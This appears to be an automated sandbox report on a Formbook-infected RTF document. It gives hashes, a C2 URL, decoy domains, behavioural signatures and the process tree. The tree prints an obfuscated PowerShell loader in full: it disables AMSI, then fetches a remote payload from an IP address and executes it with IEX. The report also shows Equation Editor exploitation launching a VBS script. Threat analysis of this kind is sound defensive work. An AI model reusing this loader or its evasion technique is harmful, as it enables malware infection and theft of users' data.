Analysis

  • max time kernel
    150s
  • max time network
    27s
  • platform
    windows7_x64
  • resource
    win7v20201028
  • submitted
    22-01-2021 08:22

General

  • Target

    file.rtf

  • Size

    2.1MB

  • MD5

    8722742e5c06fa177d89e333eb144672

  • SHA1

    0e47b669b2e65a2feda0acdf07e654b358dacb2e

  • SHA256

    415df6eced9ab10f5acdc12b53746463692d9ba2e697dee481989300e4ae98e1

  • SHA512

    6b024bd1a1c23b52409a08321d25582b5487476205d377354cf152d7befb379ff53bbbe0a4ab339dac0dccd8cc8a21fe9e8846bb9ff5d80ba9dc7b6280176173

Malware Config

Extracted

Family

formbook

C2

http://www.transparentpetcrate.com/lnb/

Decoy

sauschwein.info

ywpntv.com

gironbeautysalon.online

cryptogeekstuff.com

leosrock.com

sistersv.space

ilss.life

vshuzi.com

europeanculinarymagic.com

mdtlalab.com

boletasenorden.com

eebushe11.com

sms8888.com

arrogantjerxs.com

aboudmotors.com

vzuels.com

searko.com

thathealthysoul.com

365wt38493984284.com

solarpanelsystemflorida.com

Signatures

  • Formbook

    Formbook is a data stealing malware which is capable of stealing data.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Formbook Payload 3 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious use of SetThreadContext 3 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Launches Equation Editor 1 TTPs 1 IoCs

    Equation Editor is an old Office component often targeted by exploits such as CVE-2017-11882.

  • Modifies Internet Explorer settings 1 TTPs 9 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 35 IoCs
  • Suspicious behavior: MapViewOfSection 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 43 IoCs
  • Suspicious use of FindShellTrayWindow 4 IoCs
  • Suspicious use of SendNotifyMessage 4 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 23 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:1264
    • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
      "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\file.rtf"
      2⤵
      • Drops file in Windows directory
      • Modifies Internet Explorer settings
      • Suspicious behavior: AddClipboardFormatListener
      • Suspicious use of SetWindowsHookEx
      PID:644
    • C:\Windows\SysWOW64\explorer.exe
      "C:\Windows\SysWOW64\explorer.exe"
      2⤵
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1440
      • C:\Windows\SysWOW64\cmd.exe
        /c del "C:\WINDOWS\syswow64\control.exe"
        3⤵
          PID:968
    • C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
      "C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
      1⤵
      • Launches Equation Editor
      • Suspicious use of WriteProcessMemory
      PID:1180
      • C:\Windows\SysWOW64\CmD.exe
        CmD.exe /C cscript %tmp%\Client.vbs A C
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1956
        • C:\Windows\SysWOW64\cscript.exe
          cscript C:\Users\Admin\AppData\Local\Temp\Client.vbs A C
          3⤵
            PID:1724
      • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
        Powershell $8B0111F552=[Ref].Assembly.GetType('Sy'+'stem.'+'Mana'+'gem'+'ent'+'.Autom'+'atio'+'n.A'+'m'+'si'+'Utils');$835FFE1926='4456625220575263174452554847';$9FE0AD5C66=[string](0..13|%{[char][int](53+($835FFE1926).substring(($_*2),2))})-replace ' ';$58FB808063=$8B0111F552.GetField($9FE0AD5C66,'Non^^^'.replace('^^^','Pub')+'lic,S'+'tatic');$58FB808063.SetValue($null,$true);($A72F9B815A=$A72F9B815A=Write-Host 'EC4AAB5808223EB722F9C2063ED056665AA80AC5658F9D06815720759C3EB4C4B7065724C3DEFA63DEB58FC3FA9D22121674');$65477688685775746477338282837874455664=@(91,82,101,102,93,46,65,115,115,101,109,98,108,121,46,71,101,116,84,121,112,101,40,39,83,121,39,43,39,115,116,101,109,46,39,43,39,77,97,110,97,39,43,39,103,101,109,39,43,39,101,110,116,39,43,39,46,65,117,116,111,109,39,43,39,97,116,105,111,39,43,39,110,46,39,43,36,40,91,67,72,65,114,93,40,57,56,45,51,51,41,43,91,99,72,65,114,93,40,49,50,52,45,49,53,41,43,91,99,104,65,82,93,40,49,49,53,41,43,91,67,72,97,82,93,40,91,66,89,116,101,93,48,120,54,57,41,41,43,39,85,116,105,108,115,39,41,46,71,101,116,70,105,101,108,100,40,36,40,91,67,104,65,114,93,40,91,98,121,116,101,93,48,120,54,49,41,43,91,99,104,97,82,93,40,91,98,89,116,69,93,48,120,54,68,41,43,91,99,104,97,114,93,40,91,98,121,84,101,93,48,120,55,51,41,43,91,99,104,65,114,93,40,49,49,48,45,53,41,43,91,99,104,65,82,93,40,91,66,89,84,69,93,48,120,52,57,41,43,91,99,72,97,82,93,40,57,54,56,48,47,56,56,41,43,91,99,72,97,82,93,40,49,48,53,41,43,91,67,104,97,114,93,40,91,98,89,116,101,93,48,120,55,52,41,43,91,67,104,97,114,93,40,91,66,89,84,69,93,48,120,52,54,41,43,91,99,104,97,114,93,40,49,52,56,45,53,49,41,43,91,99,72,65,82,93,40,57,53,53,53,47,57,49,41,43,91,67,104,65,82,93,40,49,48,56,41,43,91,67,104,65,114,93,40,54,50,54,50,47,54,50,41,43,91,67,104,65,82,93,40,91,98,89,84,69,93,48,120,54,52,41,41,44,39,78,111,110,80,117,98,108,105,99,44,83,116,97,116,105,99,39,41,46,83,101,116,86,97,108,117,101,40,36,110,117,108,108,44,36,116,114,117,101,41,59,40,36,49,68,55,56,53,70,50,56,53,67,61,36,49,68,55,56,53,70,50,56,53,67,61,87,114,105,116,101,45,72,111,115,116,32,39,69,67,52,65,65,66,53,56,48,56,50,50,51,69,66,55,50,50,70,57,67,50,48,54,51,69,68,48,53,54,54,54,53,65,65,56,48,65,67,53,54,53,56,70,57,68,48,54,56,49,53,55,50,48,55,53,57,67,51,69,66,52,67,52,66,55,48,54,53,55,50,52,67,51,68,69,70,65,54,51,68,69,66,53,56,70,67,51,70,65,57,68,50,50,49,50,49,54,55,52,39,41,59,100,111,32,123,36,112,105,110,103,32,61,32,116,101,115,116,45,99,111,110,110,101,99,116,105,111,110,32,45,99,111,109,112,32,103,111,111,103,108,101,46,99,111,109,32,45,99,111,117,110,116,32,49,32,45,81,117,105,101,116,125,32,117,110,116,105,108,32,40,36,112,105,110,103,41,59,36,66,54,55,54,56,48,65,69,49,54,32,61,32,91,69,110,117,109,93,58,58,84,111,79,98,106,101,99,116,40,91,83,121,115,116,101,109,46,78,101,116,46,83,101,99,117,114,105,116,121,80,114,111,116,111,99,111,108,84,121,112,101,93,44,32,51,48,55,50,41,59,91,83,121,115,116,101,109,46,78,101,116,46,83,101,114,118,105,99,101,80,111,105,110,116,77,97,110,97,103,101,114,93,58,58,83,101,99,117,114,105,116,121,80,114,111,116,111,99,111,108,32,61,32,36,66,54,55,54,56,48,65,69,49,54,59,36,69,55,68,69,65,56,68,66,48,51,61,32,78,101,119,45,79,98,106,101,99,116,32,45,67,111,109,32,77,105,99,114,111,115,111,102,116,46,88,77,76,72,84,84,80,59,36,69,55,68,69,65,56,68,66,48,51,46,111,112,101,110,40,39,71,69,84,39,44,39,104,116,116,112,58,47,47,50,48,55,46,49,52,56,46,49,49,48,46,50,57,47,102,101,119,47,101,114,97,46,106,112,103,39,44,36,102,97,108,115,101,41,59,36,69,55,68,69,65,56,68,66,48,51,46,115,101,110,100,40,41,59,36,54,55,52,69,49,54,53,67,56,51,61,91,84,101,120,116,46,69,110,99,111,100,105,110,103,93,58,58,39,85,84,70,56,39,46,39,71,101,116,83,116,114,105,110,103,39,40,91,67,111,110,118,101,114,116,93,58,58,39,70,114,111,109,66,97,115,101,54,52,83,116,114,105,110,103,39,40,36,69,55,68,69,65,56,68,66,48,51,46,114,101,115,112,111,110,115,101,84,101,120,116,41,41,124,73,96,69,96,88);[System.Text.Encoding]::ASCII.GetString($65477688685775746477338282837874455664)|I`E`X
        1⤵
        • Process spawned unexpected child process
        • Blocklisted process makes network request
        • Drops file in System32 directory
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:996
        • C:\WINDOWS\syswow64\control.exe
          "{path}"
          2⤵
          • Suspicious use of SetThreadContext
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious behavior: MapViewOfSection
          • Suspicious use of AdjustPrivilegeToken
          PID:1140

      Network

      MITRE ATT&CK Matrix ATT&CK v6

      Execution

      Exploitation for Client Execution

      1
      T1203

      Defense Evasion

      Modify Registry

      1
      T1112

      Discovery

      System Information Discovery

      1
      T1082

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\Client.vbs
        MD5

        454c9cbbf86601a16856535863465774

        SHA1

        b55cc652332a2cb5ae01e74089cd1e0a55842c5f

        SHA256

        e9f406b218f7c12ee4906f93320b7d71518b381517e73d180d11a0cd00914518

        SHA512

        0f2e5dc1aa1c8b99873e86d19579d31e05801c08fb282aa30e089f21812508ac0065d94f3beea401f585863667a43c4d71f76bce95573997dd74ca249dd6dd8a

      • memory/644-3-0x0000000070301000-0x0000000070303000-memory.dmp
        Filesize

        8KB

      • memory/644-4-0x000000005FFF0000-0x0000000060000000-memory.dmp
        Filesize

        64KB

      • memory/644-2-0x0000000072881000-0x0000000072884000-memory.dmp
        Filesize

        12KB

      • memory/968-33-0x0000000000000000-mapping.dmp
      • memory/996-21-0x000000001ACFA000-0x000000001AD19000-memory.dmp
        Filesize

        124KB

      • memory/996-23-0x000000001ACA0000-0x000000001ACE4000-memory.dmp
        Filesize

        272KB

      • memory/996-10-0x000007FEFBCD1000-0x000007FEFBCD3000-memory.dmp
        Filesize

        8KB

      • memory/996-20-0x000000001C210000-0x000000001C211000-memory.dmp
        Filesize

        4KB

      • memory/996-12-0x000007FEF5380000-0x000007FEF5D6C000-memory.dmp
        Filesize

        9.9MB

      • memory/996-13-0x0000000002250000-0x0000000002251000-memory.dmp
        Filesize

        4KB

      • memory/996-14-0x000000001AD70000-0x000000001AD71000-memory.dmp
        Filesize

        4KB

      • memory/996-15-0x0000000002330000-0x0000000002331000-memory.dmp
        Filesize

        4KB

      • memory/996-16-0x000000001ACF0000-0x000000001ACF2000-memory.dmp
        Filesize

        8KB

      • memory/996-17-0x000000001ACF4000-0x000000001ACF6000-memory.dmp
        Filesize

        8KB

      • memory/996-18-0x0000000002360000-0x0000000002361000-memory.dmp
        Filesize

        4KB

      • memory/996-19-0x000000001B720000-0x000000001B721000-memory.dmp
        Filesize

        4KB

      • memory/1140-27-0x0000000000700000-0x0000000000A03000-memory.dmp
        Filesize

        3.0MB

      • memory/1140-28-0x0000000000210000-0x0000000000224000-memory.dmp
        Filesize

        80KB

      • memory/1140-25-0x000000000041EBA0-mapping.dmp
      • memory/1140-24-0x0000000000400000-0x000000000042E000-memory.dmp
        Filesize

        184KB

      • memory/1180-5-0x00000000765E1000-0x00000000765E3000-memory.dmp
        Filesize

        8KB

      • memory/1264-29-0x0000000004C30000-0x0000000004D06000-memory.dmp
        Filesize

        856KB

      • memory/1440-32-0x000000006B0B1000-0x000000006B0B3000-memory.dmp
        Filesize

        8KB

      • memory/1440-30-0x0000000000000000-mapping.dmp
      • memory/1440-35-0x0000000000080000-0x00000000000AE000-memory.dmp
        Filesize

        184KB

      • memory/1440-36-0x0000000002270000-0x0000000002573000-memory.dmp
        Filesize

        3.0MB

      • memory/1440-34-0x00000000004B0000-0x0000000000731000-memory.dmp
        Filesize

        2.5MB

      • memory/1440-37-0x0000000002100000-0x0000000002193000-memory.dmp
        Filesize

        588KB

      • memory/1724-7-0x0000000000000000-mapping.dmp
      • memory/1724-11-0x00000000026E0000-0x00000000026E4000-memory.dmp
        Filesize

        16KB

      • memory/1772-22-0x000007FEF7790000-0x000007FEF7A0A000-memory.dmp
        Filesize

        2.5MB

      • memory/1956-6-0x0000000000000000-mapping.dmp